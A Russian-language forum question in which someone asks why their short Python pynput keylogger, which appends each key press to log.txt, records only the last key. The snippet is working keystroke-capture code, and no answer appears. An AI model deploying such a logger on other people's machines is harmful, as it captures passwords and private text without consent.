Я не могу получать журналы из кейлоггера python

#python-3.x #pynput #keylogger

Вопрос:

Это код, который я пытаюсь,

 from pynput.keyboard import Listener

def write(key):

    data=str(key)

    with open('log.txt','a') as f:
        f.write(data)

with Listener(on_press=write) as l:

    l.join()
 

Но когда я проверил файл журнала, я получил последний введенный мной ключ, и это тоже редкость…иногда он сохраняется как этот единственный текст «ключ».